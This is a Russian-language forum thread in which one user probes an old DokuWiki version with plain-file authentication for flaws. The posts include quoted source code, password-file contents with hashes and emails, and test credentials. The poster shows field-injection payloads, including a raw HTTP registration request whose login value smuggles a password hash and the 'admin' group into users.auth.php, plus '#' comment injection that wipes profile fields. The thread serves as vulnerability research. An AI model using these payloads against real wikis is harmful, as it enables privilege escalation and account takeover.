 |
|

16.02.2019, 02:55
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
|
|
|

23.02.2019, 22:11
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
Ну вообще, там RCE, при условии, что его включили. (опция теги php)
|
|
|

24.02.2019, 23:42
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
в общем еще идея есть
повышение прав через редактирование своего профиля.
регистрируем аккаунт.
переходим в мой профиль.
----------------------------
Логин [tester] Полное имя [ вот тут тестить]
Эл. адрес [мыльцо@муйл.ру]
----------------------------
Пользователи сохраняются в файл: users.auth.php
.SpoilerTarget" type="button">Spoiler: users.auth.php
PHP код:
[COLOR="#000000"]# users.auth.php # [COLOR="#0000BB"] [/COLOR]# Don't modify the lines above # # Userfile # # Format: # # login:passwordhash:Real Name:email:groups,comma,seperated
tzwtf:$1$JikdmqPD$z4eF2afPNoDcehT7xyeGd1:Sanya:admin@123.ru:admin,user hui_r_n:$1$dQ8LHk6m$8IWlBUSZui49eujJSh8dt.:\r\n:123@mail.com:user hui1_r_n:$1$kTqC7Mpq$s3ttMw/BDJGSRgytHUdvW0:123:nuce@ask-mail.com:user tester:$1$iNHra1Rq$CwCdDlmb9J2QSLTtWIOnZ.:fullname:ggwp@m131.ru:com:user [/COLOR]
.SpoilerTarget" type="button">Spoiler: Обновление профиля (редактирование)
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]/** * Обновление профиля (редактирование) * Print the update profile form * * @author Christopher Smith * @author Andreas Gohr */ [/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]html_updateprofile[/COLOR][COLOR="#007700"](){ global[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"]; global[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"]; global[/COLOR][COLOR="#0000BB"]$INPUT[/COLOR][COLOR="#007700"]; global[/COLOR][COLOR="#0000BB"]$INFO[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#FF8000"]/** @var auth_basic $auth */ [/COLOR][COLOR="#007700"]global[/COLOR][COLOR="#0000BB"]$auth[/COLOR][COLOR="#007700"];
print[/COLOR][COLOR="#0000BB"]p_locale_xhtml[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'updateprofile'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$fullname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$INPUT[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'fullname'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$INFO[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'userinfo'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$email[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$INPUT[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$INFO[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'userinfo'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'mail'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]); print[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]NL[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Doku_Form[/COLOR][COLOR="#007700"](array([/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'dw__register'[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]startFieldset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'profile'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addHidden[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'do'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'profile'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addHidden[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'save'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'1'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeTextField[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REMOTE_USER'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'block'[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'50'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]))); [/COLOR][COLOR="#0000BB"]$attr[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'50'[/COLOR][COLOR="#007700"]); if (![/COLOR][COLOR="#0000BB"]$auth[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]canDo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'modName'[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$attr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeTextField[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'fullname'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$fullname[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'fullname'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'block'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$attr[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$attr[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'50'[/COLOR][COLOR="#007700"]); if (![/COLOR][COLOR="#0000BB"]$auth[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]canDo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'modMail'[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$attr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'disabled'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeTextField[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$email[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'block'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$attr[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeTag[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'br'[/COLOR][COLOR="#007700"])); if ([/COLOR][COLOR="#0000BB"]$auth[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]canDo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'modPass'[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makePasswordField[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'newpass'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newpass'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'block'[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'50'[/COLOR][COLOR="#007700"]))); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makePasswordField[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'passchk'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'passchk'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'block'[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'50'[/COLOR][COLOR="#007700"]))); } if ([/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'profileconfirm'[/COLOR][COLOR="#007700"]]) { [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeTag[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'br'[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makePasswordField[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'oldpass'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'oldpass'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'block'[/COLOR][COLOR="#007700"], array([/COLOR][COLOR="#DD0000"]'size'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'50'[/COLOR][COLOR="#007700"]))); } [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeButton[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'submit'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'btn_save'[/COLOR][COLOR="#007700"]])); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]form_makeButton[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'reset'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$lang[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'btn_reset'[/COLOR][COLOR="#007700"]])); [/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]endFieldset[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]html_form[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'updateprofile'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$form[/COLOR][COLOR="#007700"]); print[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]NL[/COLOR][COLOR="#007700"]; }[/COLOR][/COLOR]
идея сделать вот так, только от пользователя:

|
|
|

24.02.2019, 23:45
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
|
|
|

25.02.2019, 00:31
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Фильтр символов:
из
Сообщение от None
~!@#%^*()_+-=[]\'|;/.,:
отфильтровало
Сообщение от None
% & ; , :
|
|
|

05.03.2019, 03:54
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Баг авторизации выход из деректории:
версия dokuwiki 2012-09-10 "Adora Belle RC1"
authtype plain
Регистрация
Логин:[ test../a]
Полное мия:[ mail@email.ru]
Эл. адрес:[ a@a]
Результат в файле users.auth.php
Код:
# Format:
#
# login:passwordhash:Real Name:email:groups,comma,seperated
test:a:$1$9xrqaX5M$EYTB88lDR83zcl9nsxIMk0:mail@email.ru:a@a:user
то-есть мы добавили новую строку a
Поле a@aперенеслось в поле где прописаны админ группы
так же бага позволяет создавать одинаковых пользователей.
Уязвимость я не раскручивал дальше, но вполне реально зарегать себе админ юзера.
Кто хочет потестить вот вам мой сайт
http://tzwtf.ru/dokuwiki/doku.php?id=start
login:tester
pass:123
|
|
|

05.04.2019, 22:25
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
так же было обнаружена фича при редактировании профиля.
authtype plain
если в поле [ полное имя] в начале строки вписать символ диеза он же хештег #
Все последующие значения обнуляются полное имя, емейл и группа пользователя
Сообщение от None
rorrim:$1$tlbqICWG$MAm9farsztiVYJd9M/pHs/:test:#a@a:user
так же этот символ проходит в поле эмейл и так же работает.
с помощью таких багов не исключена возможность повысить свои привилегии.
Если будет результат я опубликую его здесь
|
|
|

15.05.2019, 16:03
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Все хочу забайпасить авторизацию на dokuwiki
И так опять фича с регистрацией!
POST /dokuwiki/doku.php?id=start&do=register HTTP/1.1
sectok=94c7d3ba9119dc710b222532a91b2951&do=registe r&save=1&login=tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin&fullname=test&email=a%40a
tat= это логин
fullname- это полное имя.
mail- почта.
admin- Это те самые заветные права которые дадут нам доступ к админке.
21232f297a57a5a743894a0e4a801fc3= PasswordHash (admin)
(который понимает декодер dokuwiki , он без спец символов типа $./ , ведь стандартный генератор паролей выдает типа таких хешей: $1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1 , и если прописать это в строку логина фильтр уберет символы )
и так если в поле логин вписать: tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail;admin
то в файле паролей мы получим
следующее:
tat:21232f297a57a5a743894a0e4a801fc3:fullname:mail:admin:$1$jqx36cSS$vP98kfpUXAQLfXBDn6OSZ/:test:a@a:user
а должно быть так:
tzwtf:$1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1:Sanya:admin@mail.ru:admin,user
Мы видим что права к группам идут через запятую , или с пробелом.
а в нашем случае двоеточии: .........name:mail:admin:$1$jqx36c.......
Если в ручную поставить пробел в файле то админка появляется, то-есть задача или поставить запятую или пробел, оба символа в поле логин фильтруются, хотя в поле fullnameвозможно поставить пробел
|
|
|

15.05.2019, 16:15
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Так же эта фича позволяет создавать пользователей с одинаковыми никами.
Можно создать пользователя с ником admin, но прав не будет.
Но если отредактировать профиль , все дубликаты удаляются и остается один , таким методом могут поднасолить админам сообществ.
|
|
|

17.05.2019, 02:01
|
|
Познающий
Регистрация: 17.04.2011
Сообщений: 63
С нами:
7932566
Репутация:
8
|
|
Код:
Это результат отправки вот такого запроса на регистрацию!
Код:
Поля fullmae , email
пропускают # диезу , а она как мы знаем комментирует все после себя в файле паролей.
Тем самым стирает значения.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|